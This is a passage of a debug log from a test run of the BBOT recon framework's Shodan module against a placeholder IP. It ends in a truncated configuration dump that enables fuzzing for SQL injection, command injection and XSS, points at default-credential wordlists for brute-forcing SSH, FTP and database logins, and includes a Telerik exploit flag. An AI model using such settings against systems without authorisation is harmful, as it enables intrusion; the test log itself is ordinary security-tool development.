bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 21:31:27,453 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:31:27,453 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 21:31:27,455 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 21:31:27,586 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 21:31:27,586 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 21:31:27,586 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 21:31:27,588 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 21:31:27,589 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 21:31:27,589 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 21:31:27,589 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 21:31:27,590 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 21:31:27,590 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 21:31:27,591 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 21:31:27,591 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 21:31:27,591 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 21:31:27,592 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 21:31:27,592 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 21:31:27,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 21:31:27,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 21:31:27,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 21:31:27,592 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 21:31:27,593 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 21:31:27,593 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 21:31:27,593 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 21:31:27,593 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 21:31:27,593 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 21:31:27,593 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 21:31:27,593 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 21:31:27,594 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 21:31:27,594 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 21:31:27,594 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 21:31:27,594 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 21:31:27,594 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 21:31:27,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 21:31:27,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 21:31:27,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 21:31:27,595 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 21:31:27,596 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 21:31:27,596 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 21:31:27,596 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 21:31:27,596 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 21:31:27,596 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 21:31:27,597 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 21:31:27,597 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 21:31:27,597 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 21:31:27,597 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 21:31:27,598 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 21:31:27,598 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 21:31:27,750 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_slcbmhl9bw +2026-02-27 21:31:27,750 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 21:31:27,870 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 21:31:27,870 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 21:31:27,871 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 21:31:27,873 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 21:31:27,972 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check +2026-02-27 21:31:27,973 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 21:31:27,974 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 21:31:27,975 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:31:27,976 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:31:27,977 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:31:27,978 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:31:27,978 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:31:27,980 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:31:27,982 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 21:31:27,982 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:31:27,984 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:31:27,984 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:31:27,986 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:31:27,987 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 21:31:27,991 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:31:27,991 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:31:27,992 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:31:27,992 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:31:27,993 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 21:31:27,993 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 21:31:27,994 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 21:31:27,994 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:31:27,994 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:31:27,997 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 21:31:28,107 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/1.2.3.4?key=deadbeef HTTP/1.1" 404 None +2026-02-27 21:31:28,108 [ERROR] bbot.modules.shodan_enterprise base.py:1707 Shodan API error: No information available for that IP. +2026-02-27 21:31:28,110 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 21:31:28,111 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 21:31:28,112 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:31:28,112 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 21:31:28,113 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 21:31:28,113 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 21:31:28,115 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 21:31:28,115 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 21:31:28,116 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 21:31:28,116 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 21:31:28,117 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 21:31:28,118 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 21:31:28,118 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 21:31:28,218 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 21:31:28,219 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 21:31:28,237 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 21:31:28,238 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 21:31:28,238 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 21:31:28,245 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 21:31:28,245 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 21:31:28,246 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 21:31:28,247 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 21:31:28,248 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 21:31:28,249 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 21:31:28,390 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_slcbmhl9bw completed in 0 seconds with status FINISHED +2026-02-27 21:31:28,390 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 21:31:28,391 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:31:28,393 [CRITICAL] bbot test_module_shodan_enterprise.py:21 SCAN +2026-02-27 21:31:28,394 [CRITICAL] bbot test_module_shodan_enterprise.py:23 {'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_enterprise_test_slcbmhl9bw', 'target': {'seeds': ['1.2.3.4'], 'whitelist': ['1.2.3.4/32'], 'blacklist': [], 'strict_scope': False, 'hash': '87f0150c3e9449d043e2a8fddb8735cd115a9ebd', 'seed_hash': '09c35807ba47a82592ef88e5d6304ea699b8cbe2', 'whitelist_hash': '0f33b011938e6d3a37d684a39bb81b783e4a06c6', 'blacklist_hash': 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 'scope_hash': '21e2b6c9a319c3a3040171b34ac91ce866c47eb9'}, 'preset': {'description': 'testshodan_enterprise_test_slcbmhl9bw', 'config': {'home': '/tmp/.bbot_test', 'keep_scans': 20, 'status_frequency': 15, 'file_blobs': False, 'folder_blobs': False, 'scope': {'strict': False, 'report_distance': 0, 'search_distance': 0}, 'dns': {'disable': False, 'minimal': True, 'threads': 25, 'brute_threads': 1000, 'brute_nameservers': 'https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt', 'search_distance': 1, 'runaway_limit': 5, 'timeout': 1, 'retries': 1, 'wildcard_disable': False, 'wildcard_ignore': ['blacklanternsecurity.com', 'fakedomain', 'notreal', 'google', 'google.com', 'example.com', 'evilcorp.com', 'one'], 'wildcard_tests': 10, 'abort_threshold': 50, 'filter_ptrs': True, 'debug': False, 'omit_queries': ['SRV:mail.protection.outlook.com', 'CNAME:mail.protection.outlook.com', 'TXT:mail.protection.outlook.com']}, 'web': {'http_proxy': None, 'user_agent': 'BBOT Test User-Agent', 'spider_distance': 0, 'spider_depth': 1, 'spider_links_per_page': 25, 'http_timeout': 10, 'httpx_timeout': 5, 'http_headers': {'test': 'header'}, 'api_retries': 2, 'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 